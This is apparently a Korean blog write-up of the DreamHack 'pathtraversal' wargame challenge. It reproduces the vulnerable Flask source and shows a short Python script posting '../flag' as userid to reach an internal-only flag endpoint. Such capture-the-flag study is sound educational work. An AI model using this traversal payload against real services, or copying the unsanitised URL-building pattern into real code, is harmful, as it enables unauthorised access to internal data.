๐Ÿ”’ Cyber Security/Web Hacking (์›นํ•ดํ‚น)

[DreamHack] ๋“œ๋ฆผํ•ต ์›นํ•ดํ‚น : pathtraversal

์„ ๋‹ฌ 2023. 8. 14. 18:08
๋ฐ˜์‘ํ˜•

https://dreamhack.io/wargame/challenges/12

 

pathtraversal

์‚ฌ์šฉ์ž์˜ ์ •๋ณด๋ฅผ ์กฐํšŒํ•˜๋Š” API ์„œ๋ฒ„์ž…๋‹ˆ๋‹ค. Path Traversal ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด /api/flag์— ์žˆ๋Š” ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”! Reference Server-side Basic

dreamhack.io

 

๋ฌธ์ œ

์‚ฌ์šฉ์ž์˜ ์ •๋ณด๋ฅผ ์กฐํšŒํ•˜๋Š” API ์„œ๋ฒ„์ž…๋‹ˆ๋‹ค.
Path Traversal ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด /api/flag์— ์žˆ๋Š” ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”!

 

๋”๋ณด๊ธฐ
#!/usr/bin/python3
from flask import Flask, request, render_template, abort
from functools import wraps
import requests
import os, json

users = {
    '0': {
        'userid': 'guest',
        'level': 1,
        'password': 'guest'
    },
    '1': {
        'userid': 'admin',
        'level': 9999,
        'password': 'admin'
    }
}

def internal_api(func):
    @wraps(func)
    def decorated_view(*args, **kwargs):
        if request.remote_addr == '127.0.0.1':
            return func(*args, **kwargs)
        else:
            abort(401)
    return decorated_view

app = Flask(__name__)
app.secret_key = os.urandom(32)
API_HOST = 'http://127.0.0.1:8000'

try:
    FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
    FLAG = '[**FLAG**]'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
    if request.method == 'GET':
        return render_template('get_info.html')
    elif request.method == 'POST':
        userid = request.form.get('userid', '')
        info = requests.get(f'{API_HOST}/api/user/{userid}').text
        return render_template('get_info.html', info=info)

@app.route('/api')
@internal_api
def api():
    return '/user/<uid>, /flag'

@app.route('/api/user/<uid>')
@internal_api
def get_flag(uid):
    try:
        info = users[uid]
    except:
        info = {}
    return json.dumps(info)

@app.route('/api/flag')
@internal_api
def flag():
    return FLAG

application = app # app.run(host='0.0.0.0', port=8000)
# Dockerfile
#     ENTRYPOINT ["uwsgi", "--socket", "0.0.0.0:8000", "--protocol=http", "--threads", "4", "--wsgi-file", "app.py"]

 

ํ’€์ด

 

๊ฐ„๋‹จํ•˜๊ฒŒ ์ด๋ฃจ์–ด์ง„ ํ™”๋ฉด์ด๋‹ค.

๋ฌธ์ œํŒŒ์ผ์„ ํ™•์ธํ•ด๋ณด์ž

 

@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
    if request.method == 'GET':
        return render_template('get_info.html')
    elif request.method == 'POST':
        userid = request.form.get('userid', '')
        info = requests.get(f'{API_HOST}/api/user/{userid}').text
        return render_template('get_info.html', info=info)

/get_info api๋ฅผ ์ด์šฉํ•˜์—ฌ {"userid": ์œ ์ €๊ฐ€์ž…๋ ฅํ•œ๊ฐ’} ์„ request data๋กœ ํ•˜๋Š” post ํ†ต์‹ ์ด ์ผ์–ด๋‚œ๋‹ค.

 

์›น ์„œ๋น„์Šค์˜ ์š”์ฒญ URL์— ์ด์šฉ์ž์˜ ์ž…๋ ฅ๊ฐ’์ด ํฌํ•จ๋˜๋Š” ๊ฒฝ์šฐ์— ํ•ด๋‹น๋˜๊ธฐ ๋–„๋ฌธ์—

์ด์šฉ์ž์˜ ์ž…๋ ฅ๊ฐ’ ์ค‘ URL์˜ ๊ตฌ์„ฑ ์š”์†Œ ๋ฌธ์ž๋ฅผ ์‚ฝ์ž…ํ•ด์„œ API ๊ฒฝ๋กœ๋ฅผ ์กฐ์ž‘ํ•˜๋Š” path traversal์ด ๊ฐ€๋Šฅํ•˜๋‹ค

 

์šฐ๋ฆฌ๊ฐ€ ํ•„์š”ํ•œ๊ฑด /api/flag ๊ฒฝ๋กœ์ž„์œผ๋กœ ์œ ์ €๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์„ ๋„ฃ๋Š” userid ๋ถ€๋ถ„์— ../flag ๋งŒ ๋„ฃ์œผ๋ฉด

        info = requests.get(f'{API_HOST}/api/user/../flag').text
        #info = requests.get(f'{API_HOST}/api/flag').text ์™€ ๊ฐ™์Œ

์ด๋ ‡๊ฒŒ ์ž‘๋™ํ•˜๊ฒŒ ๋œ๋‹ค

 

๋‹ค๋งŒ ์›น์‚ฌ์ดํŠธ ๋‚ด userid ์ธํ’‹์— ์ž…๋ ฅํ•˜๋ฉด ์œ„ JS ๋กœ์ง์— ์˜ํ•ด userid ๊ฐ’์ด users[userid] ๊ฐ’์œผ๋กœ ๋ณ€ํ•˜๊ฒŒ ๋œ๋‹ค

 

JS๋ฅผ ์กฐ์ž‘ํ• ๊นŒ ๊ณ ๋ฏผํ•˜๋‹ค๊ฐ€ ๊ทธ๋ƒฅ ์ง์ ‘ api์— ์ ‘๊ทผํ•˜๋Š” ๋ฐฉ๋ฒ•์œผ๋กœ ํ•ด๋‹น JS ๋กœ์ง์„ ์šฐํšŒํ•˜๊ธฐ๋กœ ํ–ˆ๋‹ค

(์ด ๋ถ€๋ถ„์€ ํ”„๋ก์‹œ๋ฅผ ์ด์šฉํ•˜๋Š” ๊ฑฐ๋ผ ๋ฒ„ํ”„์Šค์œ„ํŠธ๋ฅผ ์ด์šฉํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ๋‚˜๋Š” ์„ค์น˜๊ฐ€ ์˜ ๊ท€์ฐฎ์•„์„œ (...) ๊ทธ๋ƒฅ ํŒŒ์ด์ฌ๊ณผ ๊ตฌ๊ธ€์ฝ”๋žฉ์„ ์ด์šฉํ•œ๋‹ค)

 

import requests

url="http://host3.dreamhack.games:13228/get_info"

response = requests.post(url, data={"userid": "../flag"})

print(response.text)

๊ฒฐ๊ณผ๊ฐ€ ์ž˜ ๋‚˜์˜จ๋‹ค.

๊ฒฐ๊ณผ๋กœ ๋‚˜์˜จ ์ฝ”๋“œ์˜ ๋ณธ๋ฌธ์„ ๋ณด๋ฉด ํ”Œ๋ž˜๊ทธ๊ฐ€ ์ด์˜๊ฒŒ ๋‚˜์™€์žˆ๋‹ค

 

 

๋ฐ˜์‘ํ˜•